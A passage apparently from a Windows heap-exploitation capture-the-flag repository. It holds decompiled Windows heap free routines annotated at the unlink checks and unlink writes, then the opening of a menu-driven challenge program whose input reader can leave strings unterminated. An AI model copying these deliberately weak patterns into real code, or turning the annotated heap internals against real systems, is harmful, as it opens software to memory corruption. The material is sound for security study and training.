457 | { 458 | goto skip_prev_unlink; // otherwise, ignore prev unlink 459 | } 460 | if ( v5->EncodeFlagMask ) 461 | { 462 | v31 = prev->UnpackedEntry.SubSegmentCode ^ v5->Encoding.UnpackedEntry.SubSegmentCode; 463 | prev->UnpackedEntry.SubSegmentCode = v31; 464 | if ( HIBYTE(v31) != ((unsigned __int8)v31 ^ (unsigned __int8)(BYTE1(v31) ^ BYTE2(v31))) )// decode and check prev _HEAP_ENTRY 465 | RtlpAnalyzeHeapFailure((unsigned __int64)v5, (unsigned __int64)prev); 466 | } 467 | v32 = (__int64 *)&prev[1]; 468 | v212 = (__int64 *)prev[1].UnpackedEntry.PreviousBlockPrivateData; 469 | v33 = (__int64 **)prev[1].UnpackedEntry.CompactHeader; 470 | v213 = v33; 471 | v34 = *v33; 472 | mem = v212[1]; 473 | if ( v34 != (__int64 *)mem || v34 != v32 ) // check prev, blink->flink == flink->blink == x 474 | { 475 | v198 = 0i64; 476 | v197 = v34; 477 | RtlpLogHeapFailure(13i64, (__int64)v5); 478 | LABEL_99: 479 | size1 = size2; 480 | skip_prev_unlink: 481 | next_ = &v13[size1]; 482 | v203 = (signed __int64)&v13[size1]; 483 | if ( !v5->EncodeFlagMask ) 484 | goto LABEL_104; 485 | v240 = next_->UnpackedEntry.SubSegmentCode ^ v5->Encoding.UnpackedEntry.SubSegmentCode; 486 | if ( HIBYTE(v240) != ((unsigned __int8)v240 ^ (unsigned __int8)(BYTE1(v240) ^ BYTE2(v240))) )// check next _HEAP_ENTRY 487 | { 488 | v198 = 0i64; 489 | v197 = 0i64; 490 | RtlpLogHeapFailure(3i64, (__int64)v5); 491 | } 492 | while ( 1 ) 493 | { 494 | while ( 1 ) 495 | { 496 | size1 = size2; 497 | LABEL_104: 498 | if ( (next_->UnpackedEntry.Flags ^ (unsigned __int8)(v5->Encoding.UnpackedEntry.Flags & (v5->EncodeFlagMask >> 20))) & 1 )// determine busy block 499 | { 500 | LABEL_190: 501 | v248 = v13; 502 | v6 = v200; 503 | goto LABEL_191; 504 | } 505 | if ( v5->EncodeFlagMask ) 506 | { 507 | v56 = next_->UnpackedEntry.SubSegmentCode ^ v5->Encoding.UnpackedEntry.SubSegmentCode; 508 | next_->UnpackedEntry.SubSegmentCode = v56; 509 | if ( HIBYTE(v56) != ((unsigned __int8)v56 ^ (unsigned __int8)(BYTE1(v56) ^ BYTE2(v56))) )// check and decode next _HEAP_ENTRY 510 | RtlpAnalyzeHeapFailure((unsigned __int64)v5, (unsigned __int64)next_); 511 | } 512 | v98 = (__int64 **)&next_[1]; 513 | v99 = (__int64)next_[1].UnpackedEntry.PreviousBlockPrivateData; 514 | v207 = (_HEAP_ENTRY *)v99; 515 | v100 = (__int64 *)next_[1].UnpackedEntry.CompactHeader; 516 | v212 = v100; 517 | v101 = (__int64 *)*v100; 518 | mem = *(_QWORD *)(v99 + 8); 519 | if ( v101 == (__int64 *)mem && v101 == (__int64 *)v98 ) 520 | break; // check next, blink->flink == flink->blink == x 521 | v198 = 0i64; 522 | v197 = v101; 523 | RtlpLogHeapFailure(13i64, (__int64)v5); 524 | } 525 | v5->TotalFreeSize -= next_->UnpackedEntry.Size; 526 | v102 = (_HEAP_LIST_LOOKUP *)v5->BlocksIndex; 527 | if ( v102 ) 528 | { 529 | v103 = next_->UnpackedEntry.Size; 530 | while ( 1 ) 531 | { 532 | v104 = v102->ArraySize; 533 | if ( v103 < v104 ) 534 | { 535 | v230 = next_->UnpackedEntry.Size; 536 | v105 = v103; 537 | goto LABEL_155; 538 | } 539 | if ( !v102->ExtendedLookup ) 540 | break; 541 | v102 = v102->ExtendedLookup; 542 | } 543 | v105 = v104 - 1; 544 | v230 = v105; 545 | LABEL_155: 546 | v238 = v103; 547 | v106 = v105 - v102->BaseIndex; 548 | if ( v102->ExtraItem ) 549 | v107 = 2 * v106; 550 | else 551 | v107 = v106; 552 | v108 = (__int64 **)(8 * v107); 553 | v213 = (__int64 **)(8 * v107); 554 | v109 = v102->ListHints; 555 | v110 = (__int64 **)v109[v107]; 556 | --v102->ItemCount; 557 | v111 = v102->ArraySize; 558 | mem = v111 - 1; 559 | if ( v105 == (_DWORD)mem ) 560 | --v102->OutOfRangeItems; 561 | if ( v110 == v98 ) 562 | { 563 | v218 = v111; 564 | if ( !v102->ExtendedLookup ) 565 | v111 = mem; 566 | v218 = v111; 567 | v112 = *v98; 568 | v113 = (__int64 *)v102->ListHead; 569 | if ( v105 >= v111 ) 570 | { 571 | if ( v112 != v113 ) 572 | { 573 | *(__int64 **)((char *)v108 + (_QWORD)v109) = v112; 574 | next_ = (_HEAP_ENTRY *)v203; 575 | goto LABEL_171; 576 | } 577 | *(__int64 **)((char *)v108 + (_QWORD)v109) = 0i64; 578 | goto LABEL_175; 579 | } 580 | if ( v112 == v113 ) 581 | goto LABEL_383; 582 | v114 = *((_DWORD *)v112 - 2); 583 | v242 = *((_DWORD *)v112 - 2); 584 | if ( v5->EncodeFlagMask ) 585 | { 586 | v115 = v114 ^ v5->Encoding.UnpackedEntry.SubSegmentCode; 587 | v242 = v115; 588 | LOWORD(v114) = v115; 589 | if ( HIBYTE(v115) != ((unsigned __int8)v115 ^ (unsigned __int8)(BYTE1(v115) ^ BYTE2(v115))) ) 590 | { 591 | v198 = 0i64; 592 | v197 = 0i64; 593 | RtlpLogHeapFailure(3i64, (__int64)v5); 594 | LOWORD(v114) = v115; 595 | v108 = v213; 596 | } 597 | v99 = (__int64)v207; 598 | } 599 | if ( (_DWORD)v103 != (unsigned __int16)v114 ) 600 | { 601 | LABEL_383: 602 | *(__int64 **)((char *)v108 + (unsigned __int64)v102->ListHints) = 0i64; 603 | LABEL_175: 604 | v102->ListsInUseUlong[v106 >> 5] &= ~(1 << (v106 & 0x1F));// update ListsInUseUlong bitmap 605 | next_ = (_HEAP_ENTRY *)v203; 606 | goto LABEL_171; 607 | } 608 | *(__int64 **)((char *)v108 + (unsigned __int64)v102->ListHints) = v112; 609 | next_ = (_HEAP_ENTRY *)v203; 610 | } 611 | } 612 | LABEL_171: 613 | v116 = v212; 614 | *v212 = v99; // unlink write 615 | *(_QWORD *)(v99 + 8) = v116; 616 | if ( !(next_->UnpackedEntry.Flags & 8) || (unsigned __int8)RtlpCommitBlock(v5, next_) ) 617 | { 618 | v117 = next_->UnpackedEntry.Flags; 619 | if ( v117 & 4 ) 620 | { 621 | v118 = 16i64 * next_->UnpackedEntry.Size - 32; 622 | v231 = 16i64 * next_->UnpackedEntry.Size - 32; 623 | if ( v117 & 2 && v118 > 4 ) 624 | { 625 | v118 -= 4i64; 626 | v231 = v118; 627 | } 628 | if ( RtlCompareMemoryUlong(&next_[2], v118, 0xFEEEFEEEi64) != v118 ) 629 | { 630 | if ( NtCurrentPeb()->Ldr ) 631 | { 632 | v119 = NtCurrentPeb()->Ldr->InLoadOrderModuleList.Flink; 633 | DbgPrint("HEAP[%wZ]: "); 634 | } 635 | else 636 | { 637 | DbgPrint("HEAP: "); 638 | } 639 | DbgPrint("HEAP: Free Heap block %p modified at %p after it was freed\n"); 640 | RtlpBreakPointHeap(v121, v120); 641 | } 642 | } 643 | v13->UnpackedEntry.Flags = 0; 644 | v13->UnpackedEntry.UnusedBytes = 0; 645 | size2 += next_->UnpackedEntry.Size; // update new size 646 | v13->UnpackedEntry.Size = size2; 647 | v13[size2].UnpackedEntry.PreviousSize = size2 ^ v5->Encoding.UnpackedEntry.PreviousSize; 648 | size1 = size2; 649 | goto LABEL_190; 650 | } 651 | RtlpDeCommitFreeBlock((__int64)v5, (__int64)next_, next_->UnpackedEntry.Size, 1); 652 | } 653 | } 654 | v5->TotalFreeSize -= prev->UnpackedEntry.Size; 655 | v35 = (_HEAP_LIST_LOOKUP *)v5->BlocksIndex; 656 | if ( v35 ) 657 | { 658 | v36 = prev->UnpackedEntry.Size; 659 | while ( 1 ) 660 | { 661 | v37 = v35->ArraySize; 662 | if ( v36 < v37 ) 663 | { 664 | v225 = prev->UnpackedEntry.Size; 665 | v38 = v36; 666 | goto LABEL_63; 667 | } 668 | if ( !v35->ExtendedLookup ) 669 | break; 670 | v35 = v35->ExtendedLookup; 671 | } 672 | v38 = v37 - 1; 673 | v225 = v38; 674 | LABEL_63: 675 | v207 = (_HEAP_ENTRY *)v36; 676 | v39 = v38 - v35->BaseIndex; 677 | if ( v35->ExtraItem ) 678 | v40 = 2 * v39; 679 | else 680 | v40 = v39; 681 | mem = 8 * v40; 682 | v207 = (_HEAP_ENTRY *)(8 * v40); 683 | v41 = v35->ListHints; 684 | v42 = (__int64 *)v41[v40]; 685 | --v35->ItemCount; 686 | v43 = v35->ArraySize; 687 | if ( v38 == v43 - 1 ) 688 | --v35->OutOfRangeItems; 689 | if ( v42 == v32 ) 690 | { 691 | v216 = v43; 692 | if ( !v35->ExtendedLookup ) 693 | --v43; 694 | v216 = v43; 695 | v44 = (_LIST_ENTRY *)*v32; 696 | v45 = v35->ListHead; 697 | if ( v38 >= v43 ) 698 | { 699 | if ( v44 != v45 ) 700 | { 701 | *(_LIST_ENTRY **)((char *)v41 + mem) = v44; 702 | goto LABEL_79; 703 | } 704 | *(_LIST_ENTRY **)((char *)v41 + mem) = 0i64; 705 | } 706 | else 707 | { 708 | if ( v44 != v45 ) 709 | { 710 | v46 = (int)v44[-1].Blink; 711 | v239 = (int)v44[-1].Blink; 712 | if ( v5->EncodeFlagMask ) 713 | { 714 | v47 = v46 ^ v5->Encoding.UnpackedEntry.SubSegmentCode; 715 | v239 = v47; 716 | LOWORD(v46) = v47; 717 | if ( HIBYTE(v47) != ((unsigned __int8)v47 ^ (unsigned __int8)(BYTE1(v47) ^ BYTE2(v47))) ) 718 | { 719 | v198 = 0i64; 720 | v197 = 0i64; 721 | RtlpLogHeapFailure(3i64, (__int64)v5); 722 | LOWORD(v46) = v47; 723 | mem = (signed __int64)v207; 724 | } 725 | prev = v202; 726 | } 727 | if ( (_DWORD)v36 == (unsigned __int16)v46 ) 728 | { 729 | *(_LIST_ENTRY **)((char *)v35->ListHints + mem) = v44; 730 | goto LABEL_79; 731 | } 732 | } 733 | *(_LIST_ENTRY **)((char *)v35->ListHints + mem) = 0i64; 734 | } 735 | v35->ListsInUseUlong[v39 >> 5] &= ~(1 << (v39 & 0x1F)); 736 | goto LABEL_79; 737 | } 738 | } 739 | LABEL_79: 740 | v48 = v212; 741 | v49 = v213; 742 | *v213 = v212; 743 | v48[1] = (__int64)v49; 744 | if ( !(prev->UnpackedEntry.Flags & 8) || (unsigned __int8)RtlpCommitBlock(v5, prev) ) 745 | { 746 | v50 = prev->UnpackedEntry.Flags; 747 | if ( v50 & 4 ) 748 | { 749 | v51 = 0x10i64 * prev->UnpackedEntry.Size - 32; 750 | v226 = 0x10i64 * prev->UnpackedEntry.Size - 32; 751 | if ( v50 & 2 && v51 > 4 ) 752 | { 753 | v51 -= 4i64; 754 | v226 = v51; 755 | } 756 | if ( RtlCompareMemoryUlong(&prev[2], v51, 0xFEEEFEEEi64) != v51 ) 757 | { 758 | if ( NtCurrentPeb()->Ldr ) 759 | { 760 | v52 = NtCurrentPeb()->Ldr->InLoadOrderModuleList.Flink; 761 | DbgPrint("HEAP[%wZ]: "); 762 | } 763 | else 764 | { 765 | DbgPrint("HEAP: "); 766 | } 767 | DbgPrint("HEAP: Free Heap block %p modified at %p after it was freed\n"); 768 | RtlpBreakPointHeap(v54, v53); 769 | } 770 | } 771 | prev->UnpackedEntry.Flags = 0; 772 | prev->UnpackedEntry.UnusedBytes = 0; 773 | v13 = prev; 774 | v227 = prev; 775 | size2 += prev->UnpackedEntry.Size; 776 | prev->UnpackedEntry.Size = size2; 777 | prev[size2].UnpackedEntry.PreviousSize = size2 ^ v5->Encoding.UnpackedEntry.PreviousSize; 778 | } 779 | else 780 | { 781 | RtlpDeCommitFreeBlock((__int64)v5, (__int64)prev, prev->UnpackedEntry.Size, 1); 782 | } 783 | goto LABEL_99; 784 | } 785 | LABEL_191: // after prev and next unlink 786 | if ( size1 < v5->DeCommitFreeBlockThreshold || size1 + v5->TotalFreeSize < v5->DeCommitTotalFreeThreshold ) 787 | { 788 | if ( size1 + v5->TotalFreeSize > v5->DeCommitTotalFreeThreshold ) 789 | { 790 | v122 = 0x100; 791 | if ( size1 >= 0x100 && v5->Encoding.UnpackedEntry.PreviousSize == v13->UnpackedEntry.PreviousSize ) 792 | { 793 | RtlpDeCommitFreeBlock((__int64)v5, (__int64)v13, size1, 0); 794 | goto LABEL_357; 795 | } 796 | } 797 | if ( size1 > 0xFF00 ) // HEAP_MAX_BLOCK_SIZE 798 | { 799 | RtlpInsertFreeBlock(v5, v13); 800 | if ( !v201 ) 801 | goto LABEL_384; 802 | LABEL_316: 803 | if ( v5->EncodeFlagMask ) 804 | { 805 | v170 = v13->UnpackedEntry.SubSegmentCode ^ v5->Encoding.UnpackedEntry.SubSegmentCode; 806 | v13->UnpackedEntry.SubSegmentCode = v170; 807 | if ( HIBYTE(v170) != ((unsigned __int8)v170 ^ (unsigned __int8)(BYTE1(v170) ^ BYTE2(v170))) ) 808 | RtlpAnalyzeHeapFailure((unsigned __int64)v5, (unsigned __int64)v13); 809 | } 810 | v13->UnpackedEntry.Flags |= 2u; 811 | v171 = v13->UnpackedEntry.Size; 812 | v172 = v171 >> 8; 813 | v173 = (signed __int64)&v13[v13->UnpackedEntry.Size]; 814 | if ( v5->EncodeFlagMask ) 815 | { 816 | v13->UnpackedEntry.SmallTagIndex = v171 ^ v172 ^ v13->UnpackedEntry.Flags; 817 | v13->UnpackedEntry.SubSegmentCode ^= v5->Encoding.UnpackedEntry.SubSegmentCode; 818 | } 819 | *(_WORD *)(v173 - 4) = v201; 820 | *(_WORD *)(v173 - 2) = 0; 821 | if ( v5->Flags & 0x8000000 ) 822 | { 823 | *(_WORD *)(v173 - 2) = RtlLogStackBackTraceEx(1i64); 824 | v122 = 256; 825 | } 826 | else 827 | { 828 | LABEL_384: 829 | v122 = 256; 830 | } 831 | goto LABEL_357; 832 | } 833 | if ( v6 ) // insertion point search 834 | { 835 | v123 = (unsigned __int16)size1; 836 | v204 = (unsigned __int16)size1; 837 | v13->UnpackedEntry.Flags = 0; 838 | v13->UnpackedEntry.UnusedBytes = 0; 839 | v124 = &v5->FreeLists; 840 | v125 = (_HEAP_LIST_LOOKUP *)v5->BlocksIndex; 841 | if ( v125 ) 842 | { 843 | while ( 1 ) 844 | { 845 | v126 = v125->ArraySize; 846 | if ( (unsigned __int16)size1 < v126 ) 847 | { 848 | v127 = (unsigned __int16)size1; 849 | v220 = (unsigned __int16)size1; 850 | goto LABEL_207; 851 | } 852 | if ( !v125->ExtendedLookup ) 853 | break; 854 | v125 = v125->ExtendedLookup; 855 | } 856 | v127 = v126 - 1; 857 | v220 = (unsigned int)(v126 - 1); 858 | LABEL_207: 859 | while ( 1 ) 860 | { 861 | v128 = v127 - v125->BaseIndex; 862 | v129 = 0i64; 863 | v130 = v125->ListHead; 864 | v131 = v130->Blink; 865 | if ( v130 == v131 ) 866 | { 867 | v129 = v125->ListHead; 868 | } 869 | else 870 | { 871 | v132 = (int)v131[-1].Blink; 872 | v243 = (int)v131[-1].Blink; 873 | if ( v5->EncodeFlagMask ) 874 | { 875 | v133 = v132 ^ v5->Encoding.UnpackedEntry.SubSegmentCode; 876 | v243 = v133; 877 | LOWORD(v132) = v133; 878 | if ( HIBYTE(v133) != ((unsigned __int8)v133 ^ (unsigned __int8)(BYTE1(v133) ^ BYTE2(v133))) ) 879 | { 880 | v198 = 0i64; 881 | v197 = 0i64; 882 | RtlpLogHeapFailure(3i64, (__int64)v5); 883 | LOWORD(v132) = v133; 884 | } 885 | } 886 | v134 = (unsigned __int16)v132; 887 | v123 = v204; 888 | if ( (signed int)v204 - v134 <= 0 ) 889 | { 890 | v135 = (signed __int64)&v130->Flink[0xFFFFFFFF]; 891 | v136 = *(_DWORD *)(v135 + 8); 892 | v244 = *(_DWORD *)(v135 + 8); 893 | if ( v5->EncodeFlagMask ) 894 | { 895 | v137 = v136 ^ v5->Encoding.UnpackedEntry.SubSegmentCode; 896 | v244 = v137; 897 | LOWORD(v136) = v137; 898 | if ( HIBYTE(v137) != ((unsigned __int8)v137 ^ (unsigned __int8)(BYTE1(v137) ^ BYTE2(v137))) ) 899 | { 900 | v198 = 0i64; 901 | v197 = 0i64; 902 | RtlpLogHeapFailure(3i64, (__int64)v5); 903 | LOWORD(v136) = v137; 904 | } 905 | } 906 | v138 = (unsigned __int16)v136; 907 | v123 = v204; 908 | if ( (signed int)v204 - v138 > 0 ) 909 | { 910 | if ( v125->ExtendedLookup || (_DWORD)v220 != v125->ArraySize - 1 ) 911 | { 912 | v140 = (unsigned int)v128 >> 5; 913 | v214 = (unsigned int)v128 >> 5; 914 | mem = ((v125->ArraySize - v125->BaseIndex) >> 5) - 1; 915 | v141 = &v125->ListsInUseUlong[v140]; 916 | v232 = v141; 917 | v142 = *v141 & ~((1 << (v128 & 0x1F)) - 1); 918 | while ( !v142 ) 919 | { 920 | if ( (unsigned int)v140 > (unsigned int)mem ) 921 | { 922 | v13 = v248; 923 | goto LABEL_247; 924 | } 925 | ++v141; 926 | v232 = v141; 927 | v142 = *v141; 928 | LODWORD(v140) = v140 + 1; 929 | v214 = v140; 930 | } 931 | if ( (_WORD)v142 ) 932 | { 933 | if ( (_BYTE)v142 ) 934 | v143 = (unsigned __int8)RtlpBitsClearLow[(unsigned __int8)v142]; 935 | else 936 | v143 = (unsigned __int8)RtlpBitsClearLow[BYTE1(v142)] + 8; 937 | } 938 | else if ( v142 & 0xFF0000 ) 939 | { 940 | v143 = (unsigned __int8)RtlpBitsClearLow[BYTE2(v142)] + 16; 941 | } 942 | else 943 | { 944 | v143 = (unsigned __int8)RtlpBitsClearLow[(unsigned __int64)v142 >> 24] + 24; 945 | } 946 | v144 = (unsigned int)(v143 + 0x20 * v140); 947 | v214 = v144; 948 | if ( v125->ExtraItem ) 949 | v144 = (unsigned int)(2 * v144); 950 | v129 = v125->ListHints[v144]; 951 | LABEL_243: 952 | v123 = v204; 953 | } 954 | else 955 | { 956 | if ( v125->ExtraItem ) 957 | v128 = (unsigned int)(2 * v128); 958 | v139 = v125->ListHints[v128]; 959 | while ( v130 != v139 ) 960 | { 961 | LOBYTE(mem) = 1; 962 | if ( (signed int)RtlpHeapListCompare(v5, v139, v123, mem, v197, v198) <= 0 ) 963 | { 964 | v129 = v139; 965 | goto LABEL_243; 966 | } 967 | v139 = v139->Flink; 968 | v123 = v204; 969 | } 970 | } 971 | } 972 | else 973 | { 974 | v129 = v130->Flink; 975 | } 976 | } 977 | else 978 | { 979 | v129 = v130; 980 | } 981 | v13 = v248; 982 | } 983 | if ( v129 ) 984 | break; 985 | LABEL_247: 986 | v125 = v125->ExtendedLookup; 987 | v127 = v125->BaseIndex; 988 | v220 = v125->BaseIndex; 989 | v123 = v204; 990 | } 991 | v124 = &v5->FreeLists; 992 | } 993 | else 994 | { 995 | v129 = v124->Flink; 996 | } 997 | while ( v124 != v129 ) // link-in 998 | { 999 | if ( v5->EncodeFlagMask ) 1000 | { 1001 | v145 = (int)v129[-1].Blink; 1002 | v245 = v145; 1003 | if ( v145 & v5->EncodeFlagMask ) 1004 | { 1005 | v146 = v145 ^ v5->Encoding.UnpackedEntry.SubSegmentCode; 1006 | v245 = v145 ^ v5->Encoding.UnpackedEntry.SubSegmentCode; 1007 | } 1008 | else 1009 | { 1010 | LOWORD(v146) = v145; 1011 | } 1012 | v13 = v248; 1013 | } 1014 | else 1015 | { 1016 | LOWORD(v146) = v129[-1].Blink; 1017 | } 1018 | v210 = v146; 1019 | if ( v123 <= (unsigned __int16)v146 ) 1020 | break; 1021 | v129 = v129->Flink; 1022 | v124 = &v5->FreeLists; 1023 | } 1024 | v147 = v13 + 1; 1025 | v207 = v13 + 1; 1026 | v148 = (_HEAP_ENTRY **)v129->Blink; 1027 | if ( *v148 == (_HEAP_ENTRY *)v129 ) 1028 | { 1029 | v147->UnpackedEntry.PreviousBlockPrivateData = v129; // link node into double linked-list 1030 | v13[1].UnpackedEntry.CompactHeader = (unsigned __int64)v148; 1031 | *v148 = v147; 1032 | v129->Blink = (_LIST_ENTRY *)v147; 1033 | } 1034 | else 1035 | { 1036 | RtlpLogHeapFailure(13i64, 0i64); 1037 | } 1038 | v5->TotalFreeSize += v13->UnpackedEntry.Size; 1039 | v149 = (_HEAP_LIST_LOOKUP *)v5->BlocksIndex; 1040 | if ( v149 ) 1041 | { 1042 | v150 = (__int64 *)v13->UnpackedEntry.Size; 1043 | while ( 1 ) 1044 | { 1045 | v151 = v149->ArraySize; 1046 | if ( (unsigned __int64)v150 < v151 ) 1047 | { 1048 | v233 = v13->UnpackedEntry.Size; 1049 | v152 = (unsigned int)v150; 1050 | goto LABEL_268; 1051 | } 1052 | if ( !v149->ExtendedLookup ) 1053 | break; 1054 | v149 = v149->ExtendedLookup; 1055 | } 1056 | v152 = v151 - 1; 1057 | v233 = v152; 1058 | LABEL_268: 1059 | v212 = v150; 1060 | v153 = v152 - v149->BaseIndex; 1061 | if ( v149->ExtraItem ) 1062 | v154 = 2 * v153; 1063 | else 1064 | v154 = v153; 1065 | ++v149->ItemCount; 1066 | v155 = 8 * v154; 1067 | v205 = 8 * v154; 1068 | v156 = v149->ListHints[v154]; 1069 | if ( v152 == v149->ArraySize - 1 ) 1070 | ++v149->OutOfRangeItems; 1071 | if ( !v156 ) 1072 | goto LABEL_385; 1073 | v157 = (int)v156[0xFFFFFFFFi64].Blink; 1074 | v246 = (int)v156[0xFFFFFFFFi64].Blink; 1075 | if ( v5->EncodeFlagMask ) 1076 | { 1077 | v158 = v157 ^ v5->Encoding.UnpackedEntry.SubSegmentCode; 1078 | v246 = v158; 1079 | LOWORD(v157) = v158; 1080 | if ( HIBYTE(v158) != ((unsigned __int8)v158 ^ (unsigned __int8)(BYTE1(v158) ^ BYTE2(v158))) ) 1081 | { 1082 | RtlpLogHeapFailure(3i64, (__int64)v5); 1083 | LOWORD(v157) = v158; 1084 | } 1085 | v147 = v207; 1086 | v155 = v205; 1087 | } 1088 | v13 = v248; 1089 | if ( (signed int)v150 - (unsigned __int16)v157 <= 0 ) 1090 | LABEL_385: 1091 | *(_LIST_ENTRY **)((char *)v149->ListHints + v155) = (_LIST_ENTRY *)v147; 1092 | if ( !v156 ) 1093 | v149->ListsInUseUlong[v153 >> 5] |= 1 << (v153 & 0x1F); // update bitmap 1094 | } 1095 | LABEL_282: 1096 | if ( v5->EncodeFlagMask ) // recover header 1097 | { 1098 | v13->UnpackedEntry.SmallTagIndex = LOBYTE(v13->Code1) ^ BYTE1(v13->AgregateCode) ^ v13->UnpackedEntry.Flags; 1099 | v13->UnpackedEntry.SubSegmentCode ^= v5->Encoding.UnpackedEntry.SubSegmentCode; 1100 | } 1101 | goto LABEL_316; 1102 | } 1103 | v159 = (unsigned __int16)size1; 1104 | v13->UnpackedEntry.Flags &= 0xF0u; 1105 | v13->UnpackedEntry.UnusedBytes = 0; 1106 | if ( !(v5->Flags & 0x40) ) // HEAP_FREE_CHECKING_ENABLED 1107 | { 1108 | LABEL_293: 1109 | v162 = &v5->FreeLists; 1110 | if ( v5->BlocksIndex ) 1111 | v163 = (_LIST_ENTRY *)RtlpFindEntry(v5, v159); 1112 | else 1113 | v163 = v162->Flink; 1114 | while ( v162 != v163 ) 1115 | { 1116 | if ( v5->EncodeFlagMask ) 1117 | { 1118 | v164 = (int)v163[-1].Blink; 1119 | v247 = v164; 1120 | if ( v164 & v5->EncodeFlagMask ) 1121 | { 1122 | v165 = v164 ^ v5->Encoding.UnpackedEntry.SubSegmentCode; 1123 | v247 = v164 ^ v5->Encoding.UnpackedEntry.SubSegmentCode; 1124 | } 1125 | else 1126 | { 1127 | LOWORD(v165) = v164; 1128 | } 1129 | v13 = v248; 1130 | } 1131 | else 1132 | { 1133 | LOWORD(v165) = v163[-1].Blink; 1134 | } 1135 | v211 = v165; 1136 | if ( v159 <= (unsigned __int16)v165 ) 1137 | break; 1138 | v163 = v163->Flink; 1139 | } 1140 | v166 = v13 + 1; 1141 | v167 = (_HEAP_ENTRY **)v163->Blink; 1142 | if ( *v167 == (_HEAP_ENTRY *)v163 ) 1143 | { 1144 | v166->UnpackedEntry.PreviousBlockPrivateData = v163; 1145 | v13[1].UnpackedEntry.CompactHeader = (unsigned __int64)v167; 1146 | *v167 = v166; 1147 | v163->Blink = (_LIST_ENTRY *)v166; 1148 | } 1149 | else 1150 | { 1151 | RtlpLogHeapFailure(13i64, 0i64); 1152 | } 1153 | v5->TotalFreeSize += v13->UnpackedEntry.Size; 1154 | v168 = (_HEAP_LIST_LOOKUP *)v5->BlocksIndex; 1155 | if ( v168 ) 1156 | { 1157 | while ( 1 ) 1158 | { 1159 | v169 = v168->ArraySize; 1160 | if ( v13->UnpackedEntry.Size < v169 ) 1161 | { 1162 | v235 = v13->UnpackedEntry.Size; 1163 | goto LABEL_313; 1164 | } 1165 | if ( !v168->ExtendedLookup ) 1166 | break; 1167 | v168 = v168->ExtendedLookup; 1168 | } 1169 | v235 = (unsigned int)(v169 - 1); 1170 | LABEL_313: 1171 | LOBYTE(v163) = 1; 1172 | RtlpHeapAddListEntry((_DWORD)v5, (_DWORD)v168, (__int64)v163); 1173 | } 1174 | goto LABEL_282; 1175 | } 1176 | v160 = (signed __int64)&v13[2]; 1177 | v234 = v13 + 2; 1178 | v161 = (16 * (unsigned __int64)(unsigned int)v159 - 32) >> 2; 1179 | v221 = v161; 1180 | if ( v161 ) 1181 | { 1182 | if ( !(v160 & 4) ) 1183 | goto LABEL_290; 1184 | *(_DWORD *)v160 = 0xFEEEFEEE; 1185 | v221 = --v161; 1186 | if ( v161 ) 1187 | { 1188 | v160 = (signed __int64)&v13[2].Reserved + 4; 1189 | v234 = (_HEAP_ENTRY *)((char *)v13 + 36); 1190 | LABEL_290: 1191 | memset64((void *)v160, 0xFEEEFEEEFEEEFEEEui64, v161 >> 1); 1192 | if ( v161 & 1 ) 1193 | *(_DWORD *)(v160 + 4 * v161 - 4) = 0xFEEEFEEE; 1194 | goto LABEL_292; 1195 | } 1196 | } 1197 | LABEL_292: 1198 | v13->UnpackedEntry.Flags |= 4u; 1199 | goto LABEL_293; 1200 | } 1201 | RtlpDeCommitFreeBlock((__int64)v5, (__int64)v13, size1, 0); 1202 | v122 = 256; 1203 | LABEL_357: 1204 | if ( v199 ) 1205 | { 1206 | if ( !(v5->ForceFlags & 0x1000000) ) 1207 | { 1208 | ++v5->Counters.PollIntervalCounter; 1209 | v189 = v5->Counters.HeapPollInterval; 1210 | if ( v5->Counters.PollIntervalCounter > v189 ) 1211 | { 1212 | v5->Counters.PollIntervalCounter = 0; 1213 | v190 = v5->Counters.TotalMemoryCommitted - 16 * v5->TotalFreeSize; 1214 | if ( v190 > v5->Counters.HighWatermarkSize ) 1215 | v5->Counters.HighWatermarkSize = v190; 1216 | v5->Counters.LastPolledSize = v190; 1217 | } 1218 | if ( ++v5->Counters.AllocAndFreeOps >= 0x1000 ) 1219 | { 1220 | if ( v5->FrontEndHeapType != 2 || v5->Counters.AllocationIndicesActive <= 0x10 ) 1221 | v122 = 16; 1222 | if ( v5->Counters.DecommitsSinceLastCheck > v122 && v189 < 0x10000 ) 1223 | v5->Counters.HeapPollInterval = 2 * v189; 1224 | v5->Counters.DecommitsSinceLastCheck = 0; 1225 | v5->Counters.AllocAndFreeOps = 0; 1226 | } 1227 | } 1228 | v191 = v5->LockVariable; 1229 | v192 = v191->Lock.CriticalSection.RecursionCount-- == 1; 1230 | if ( v192 ) 1231 | { 1232 | v191->Lock.CriticalSection.OwningThread = 0i64; 1233 | v193 = _InterlockedCompareExchange(&v191->Lock.CriticalSection.LockCount, -1, -2); 1234 | if ( v193 != -2 ) 1235 | { 1236 | if ( v191->Lock.CriticalSection.LockCount & 1 ) 1237 | RtlpNotOwnerCriticalSection(v191); 1238 | v194 = (__int64)v191->Lock.CriticalSection.LockSemaphore; 1239 | if ( !v194 ) 1240 | v194 = RtlpCreateDeferredCriticalSectionEvent(v191); 1241 | do 1242 | { 1243 | v195 = v193 & 2 | 1; 1244 | v196 = _InterlockedCompareExchange(&v191->Lock.CriticalSection.LockCount, v193 + v195, v193); 1245 | v192 = v193 == v196; 1246 | v193 = v196; 1247 | } 1248 | while ( !v192 ); 1249 | if ( v195 & 2 ) 1250 | RtlpUnWaitCriticalSectionEx(v191, v194); 1251 | } 1252 | } 1253 | } 1254 | return v215; 1255 | } 1256 | -------------------------------------------------------------------------------- /src/windowsland/main.cpp: -------------------------------------------------------------------------------- 1 | #define _CRT_SECURE_NO_WARNINGS 1 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | using namespace std; 8 | 9 | CHAR question[] = "@_wmliang_"; 10 | BYTE RANDOM_PAD = 0; 11 | 12 | 13 | 14 | 15 | 16 | SIZE_T read_line(CHAR *msg, SIZE_T len) 17 | { 18 | SIZE_T count = 0; 19 | CHAR tmp; 20 | 21 | if (msg && len) { 22 | for (count = 0; count < len; count++) { 23 | if (_read(0, &tmp, 1) <= 0) { 24 | break; 25 | } 26 | 27 | if (tmp == '\n') { 28 | msg[count] = '\0'; 29 | break; 30 | } 31 | // add character to our message 32 | msg[count] = tmp; 33 | } 34 | } 35 | 36 | return count; 37 | } 38 | 39 | SIZE_T read_num() 40 | { 41 | CHAR buf[0x100] = { 0 }; 42 | read_line(buf, sizeof(buf)); 43 | return atoi(buf); 44 | } 45 | 46 | void usage() { 47 | printf("Usage:\n" 48 | " create\n" 49 | " list\n" 50 | " edit\n" 51 | " delete\n" 52 | " exit\n"); 53 | } 54 | 55 | 56 | 57 | 58 | 59 | 60 | class Human 61 | { 62 | CHAR name[9]; 63 | 